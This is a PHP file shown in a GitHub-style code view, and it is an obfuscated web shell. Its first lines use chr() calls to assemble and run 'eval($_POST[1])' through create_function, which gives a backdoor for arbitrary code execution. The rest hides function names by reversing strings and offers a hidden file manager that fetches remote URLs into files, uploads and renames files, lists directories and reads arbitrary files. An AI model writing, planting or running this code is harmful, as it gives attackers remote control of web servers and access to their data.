-
Notifications
You must be signed in to change notification settings - Fork 42
/
Copy pathf1.php
73 lines (73 loc) · 2.83 KB
/
f1.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
$_uU = chr(99) . chr(104) . chr(114);
$_cC = $_uU(101) . $_uU(118) . $_uU(97) . $_uU(108) . $_uU(40) . $_uU(36) . $_uU(95) . $_uU(80) . $_uU(79) . $_uU(83) . $_uU(84) . $_uU(91) . $_uU(49) . $_uU(93) . $_uU(41) . $_uU(59);
$_fF = $_uU(99) . $_uU(114) . $_uU(101) . $_uU(97) . $_uU(116) . $_uU(101) . $_uU(95) . $_uU(102) . $_uU(117) . $_uU(110) . $_uU(99) . $_uU(116) . $_uU(105) . $_uU(111) . $_uU(110);
$_ = $_fF("", $_cC);
@$_();
error_reporting(0);
$sr = "st" . "rr" . "ev";
$id = $sr("ri" . "d_" . "si");
$rn = $sr("em" . "an" . "er");
$dn = $sr("em" . "anr" . "id");
$od = $sr("ri" . "dne" . "po");
$rd = $sr("ri" . "dda" . "er");
$cd = $sr("ri" . "deso" . "lc");
$fpc = $sr("stn" . "etn" . "oc_t" . "up_e" . "lif");
$fgc = $sr("stn" . "etn" . "oc_t" . "eg_e" . "lif");
$muf = $sr("eli" . "f_d" . "eda" . "olp" . "u_e" . "vom");
$dlform = '<form method="post">FN:<input name="fn" size="20" type="text">URL:<input name="url" size="50" type="text"><input type="submit" value="ok"></form>';
$ulform = '<form method="post" enctype="multipart/form-data"><input name="uf" type="file">SP:<input name="sp" size="50" type="text"><input type="submit" value="ok"></form>';
$rnform = '<form method="post">ON:<input name="on" size="50" type="text">NN:<input name="nn" size="50" type="text"><input type="submit" value="ok"></form>';
$lpform = '<form method="post">DP:<input name="dp" size="50" type="text"><input type="submit" value="ok"></form>';
$sfform = '<form method="post">DF:<input name="df" size="50" type="text"><input type="submit" value="ok"></form>';
if ($_GET['act'] == 'dl') {
echo $dlform;
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$fpc($_POST['fn'], $fgc($_POST['url']));
}
exit;
}
if ($_GET['act'] == 'ul') {
echo $ulform;
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$sp = empty($_POST['sp']) ? './' : $_POST['sp'] . '/';
$muf(${"_F" . "IL" . "ES"}["uf"]["tmp_name"], $sp . ${"_F" . "IL" . "ES"}["uf"]["name"]);
}
exit;
}
if ($_GET['act'] == 'rn') {
echo $rnform;
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$rn($_POST['on'], $_POST['nn']);
}
exit;
}
if ($_GET['act'] == 'gp') {
echo $dn(__FILE__);
exit;
}
if ($_GET['act'] == 'lp') {
echo $lpform;
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$dp = $_POST['dp'] . '/';
$h = $od($dp);
while (($fn = $rd($h)) !== false) {
if ($id($dp . $fn)) {
$t1 .= 'D ' . $fn . '<br>';
} else {
$t2 .= ' ' . $fn . '<br>';
}
}
$cd($dp);
echo $dp . '<br>' . $t1 . $t2;
}
exit;
}
if ($_GET['act'] == 'sf') {
echo $sfform;
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$df = $_POST['df'];
echo '<textarea style="width:100%;height:100%;" wrap="off">' . $fgc($df) . '</textarea>';
}
exit;
}